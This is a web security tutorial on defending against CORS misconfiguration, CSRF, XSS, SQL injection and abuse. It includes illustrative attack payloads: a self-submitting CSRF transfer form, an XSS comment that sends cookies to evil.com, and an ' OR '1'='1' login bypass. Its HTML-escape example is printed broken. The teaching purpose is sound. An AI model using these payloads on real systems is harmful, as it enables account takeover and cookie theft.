Common Protections
Defenses against the most frequent threats in web applications: CORS, CSRF, XSS, SQL injection, rate limiting, and other essential protections.
The threats every system faces
Regardless of architecture, there’s a set of attacks that every web application must know how to handle. These attacks are well known, well documented, and have proven solutions — yet they remain the leading cause of most security breaches simply because they’re ignored or poorly implemented.
Cross-Origin Resource Sharing (CORS)
CORS isn’t an attack but a browser security mechanism. It controls which domains can make requests to your API.
The problem
By default, browsers block JavaScript requests to domains other than the one the current page belongs to. This protects against malicious scripts trying to access APIs on behalf of the user.
Correct configuration
// ❌ Dangerous: allow any origin
app.use(cors({ origin: '*' }));
// ✅ Safe: only known origins
app.use(cors({
origin: ['https://myapp.com', 'https://admin.myapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400 // Cache preflight for 24 hours
}));
Important CORS headers
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin | Allowed domains |
Access-Control-Allow-Methods | Allowed HTTP methods |
Access-Control-Allow-Headers | Allowed custom headers |
Access-Control-Allow-Credentials | Whether cookies/tokens are allowed |
Access-Control-Max-Age | Preflight cache duration |
Common mistakes
- Using
origin: '*'together withcredentials: true— browsers reject this - Not handling OPTIONS (preflight) requests
- Configuring CORS only in development and forgetting it in production
Cross-Site Request Forgery (CSRF)
CSRF tricks the user’s browser into executing unwanted actions on a site where the user is authenticated.
How the attack works
1. User logs into bank.com (active session cookie)
2. User visits malicious-site.com
3. malicious-site.com has a hidden form:
<form action="https://bank.com/transfer" method="POST">
<input name="destination" value="attacker-123">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. The browser sends the session cookie automatically
5. bank.com processes the transfer as if it were legitimate
Protections
CSRF token
The server generates a unique per-session token that must be included in every form:
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="unique-random-token">
<input name="destination" value="">
<input name="amount" value="">
<button type="submit">Transfer</button>
</form>
The server verifies that the token matches before processing the request.
SameSite cookie
The most modern and effective way to prevent CSRF:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| Value | Behavior |
|---|---|
Strict | The cookie is never sent on cross-site requests |
Lax | Sent on top-level navigation (links) but not on POST forms |
None | Always sent (requires Secure) |
Origin/Referer header verification
The server can verify that the request comes from an expected origin:
function verifyCsrf(req) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://myapp.com'];
if (!allowedOrigins.some(o => origin?.startsWith(o))) {
throw new Error('CSRF detected');
}
}
Cross-Site Scripting (XSS)
XSS allows an attacker to inject malicious scripts into pages viewed by other users.
Types of XSS
Stored XSS (persistent)
The malicious script is stored in the database and executes every time a user views the content:
Attacker posts a comment:
"Great article! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
Every user who views the comment unknowingly executes the script.
Reflected XSS
The script comes in the URL and is reflected back in the response:
https://myapp.com/search?q=<script>alert('XSS')</script>
DOM-based XSS
The script executes by manipulating the DOM directly on the client:
// Vulnerable: uses innerHTML with data from the URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Results for: ${search}`;
Protections against XSS
Escaping output
Always escape user data before inserting it into HTML:
// Basic escape function
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
Content Security Policy
CSP is the most effective defense against XSS:
Content-Security-Policy: script-src 'self'; object-src 'none';
This blocks the execution of inline scripts and only allows scripts from the same domain.
Using modern frameworks
React, Vue, and Angular automatically escape rendered content. The risk appears when dangerouslySetInnerHTML (React) or v-html (Vue) is used.
SQL Injection
SQL injection allows an attacker to execute arbitrary queries against the database.
How it works
// Vulnerable code
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// The attacker submits as email:
// ' OR '1'='1' --
// The resulting query:
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// This returns ALL users
Protections
Parameterized queries
The most effective and simplest protection:
// Node.js with pg
const result = await db.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
// Java with PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);
ORMs with safe queries
ORMs generate parameterized queries automatically:
// Prisma
const user = await prisma.user.findUnique({
where: { email: email }
});
// TypeORM
const user = await userRepository.findOne({
where: { email: email }
});
Input validation
In addition to parameterizing, validate that the data has the expected format:
// Validate email format before querying
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
throw new ValidationError('Invalid email format');
}
Rate Limiting
Rate limiting protects against brute-force attacks, DDoS, and API abuse.
Rate limiting strategies
By IP
// Limit to 100 requests per minute per IP
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 100,
message: 'Too many requests. Try again in a minute.'
});
By authenticated user
// Limit to 1000 requests per hour per user
const userLimiter = rateLimit({
windowMs: 60 * 60 * 1000,
max: 1000,
keyGenerator: (req) => req.user.id
});
By endpoint
Sensitive endpoints like login or registration need stricter limits:
// Login: maximum 5 attempts per minute
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);
// Registration: maximum 3 per hour
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);
Responding to rate limiting
When the limit is exceeded, respond with:
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060
Other essential protections
Security headers
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Upload validation
If your application accepts files, validate:
- The real MIME type (not just the extension)
- Maximum size
- Content (malware scanning if possible)
- Store outside the public web directory
Security logging
Log security events for detection and response:
- Failed login attempts
- Permission changes
- Access to sensitive data
- Requests blocked by rate limiting
- Suspicious validation errors
Summary
Common protections are the foundation of web security. CORS controls cross-origin access, CSRF prevents unauthorized actions, XSS blocks script injection, parameterized queries eliminate SQL injection, and rate limiting protects against abuse. None of these protections are optional — all of them must be implemented from the start of the project. Most security breaches exploit the absence of these basic defenses, not sophisticated vulnerabilities.